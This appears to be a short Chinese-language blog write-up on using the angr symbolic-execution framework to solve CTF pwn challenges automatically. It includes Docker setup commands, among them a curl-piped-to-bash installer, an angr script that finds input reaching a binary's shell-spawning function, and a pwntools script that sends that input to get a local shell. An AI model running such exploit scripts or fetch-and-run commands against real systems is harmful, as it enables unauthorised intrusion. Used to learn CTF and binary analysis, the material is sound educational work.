其實是看了 D0g3 實驗室的 i0gan 師傅介紹了下 auto pwn 的二進制挖掘的例子,很想看看到底什麼事物
1.angr python 框架#
What is angr?
angr 是一個用於分析二進制文件的 python 框架。它結合了靜態和動態符號("concolic")分析,使其適用於各種任務。
它由加州大學聖巴巴拉分校的計算機安全實驗室、亞利桑那州立大學的SEFCOM、他們的CTF團隊Shellphish、開源社區以及 @rhelmot 提供。
concolic 是單詞 concrete(具體)和 symbolic(符號)的混合體。concolic 測試是一種同時使用了符號執行(將程序變量當做符號化的變量)和具體執行(concrete execution,涉及到具體的輸入)的混合式軟件驗證技術。
2.angr 環境部署#
install docker
curl -fsSL https://get.docker.com | bash -s docker --mirror Aliyun
docker pull
docker pull angr/angr
./setup.sh -i -e angr
# hwo to use angr in docker
docker run -itd --name angr angr/angr
docker exec -it angr bash
su angr # root用戶沒有angr的環境,需切換到angr用戶
#! /bin/sh
# Author: i0gan
# for starting docker angr
pwd=`pwd`
if [[ $1 < 2 ]];then
echo "Usage angr script.py"
exit
fi
script = $1
docker run -it \
-u angr \
--rm \
-v $(pwd)/${ctf_name}:/ctf/work \
-w /ctf/work angr/angr "/home/angr/.virtualenvs/angr/bin/python" "/ctf/work/$script" $2 $3
docker run -it \
--rm \
-v $(pwd)/${ctf_name}:/ctf/work \
-p 23946:23946 \
--privileged \
--cap-add=SYS_PTRACE \
--security-opt seccomp=unconfined \
pwndocker
3.angr 初識#
4.PWN 題自動化挖掘實例#
感謝成信 D0g3 師傅很快給了對應的題目;
root@DESKTOP-4VN4G0C:/Desktop/pwn# checksec pwn1
[*] '/Desktop/pwn/pwn1'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x8048000)
IDA 對應的反匯編的代碼,接下來分析其對應的邏輯:
int sub_804870E()
{
int result; // eax
char v1; // [esp+Ch] [ebp-1Ch]
int v2; // [esp+1Ch] [ebp-Ch]
result = atoi(&input);// '\n'則默認case 0 此外還有1,2,其他的分支
v2 = result;
switch ( result )
{
case 1:
puts("logging out...");
result = ~dword_804A06C;
dword_804A06C = ~dword_804A06C;
break;
case 2:
if ( dword_804A06C )
result = sub_80486F5(); // 反彈shell
else
result = puts("please log in");
break;
case 0:
puts("input your passwd:");
result = sub_804859B((int)&v1, 16); // 理論上是輸入密碼的,但是不是匹配無法知道密碼是多 少
dword_804A06C = 1; // 反彈shell的關鍵變量
break;
}
return result;
}
D0g3 的師傅給出的方法就是使用 angr 框架來達到跳轉到 shell 函數的目的,只要可以跳轉到紅色的即可
target_addr = 0x08048783
import angr
from binascii import b2a_hex
import logging
import sys
#logging.getLogger('angr').setLevel('INFO')
logging.getLogger('angr').setLevel('CRITICAL')
def angr_main():
pj = angr.Project('./pwn1')
state = pj.factory.entry_state()
simgr = pj.factory.simgr(state)
simgr.explore(find = 0x08048783) # call shell
p = simgr.found[0].posix.dumps(0)
print(b2a_hex(p).decode(), end='')
angr_main()
root@DESKTOP-4VN4G0C:/Desktop/pwn# docker cp /Desktop/pwn/pwn1 1e40bd134aa7:/home
root@DESKTOP-4VN4G0C:/Desktop/pwn# docker cp /Desktop/pwn/script.py 1e40bd134aa7:/home
from pwn import *
import os
from binascii import a2b_hex
io = process('./pwn1')
print('Solving...')
payload = a2b_hex('310a320a')
io.send(payload)
print('Get shell')
io.sendline(b'whoami')
io.interactive()
import angr
from binascii import b2a_hex
import logging
import sys
#logging.getLogger('angr').setLevel('INFO')
logging.getLogger('angr').setLevel('CRITICAL')
def angr_main():
pj = angr.Project('./find_flag')
state = pj.factory.entry_state()
simgr = pj.factory.simgr(state)
simgr.explore(find = 0x1229) # call shell
p = simgr.found[0].posix.dumps(0)
print(b2a_hex(p).decode(), end='')
angr_main()
這篇水文屬於測試 xLog 這個平台的用的,以後雖然不再打 CTF 二進制方向了,但是可能還會關注這個方向有意思的一些議題或者課題。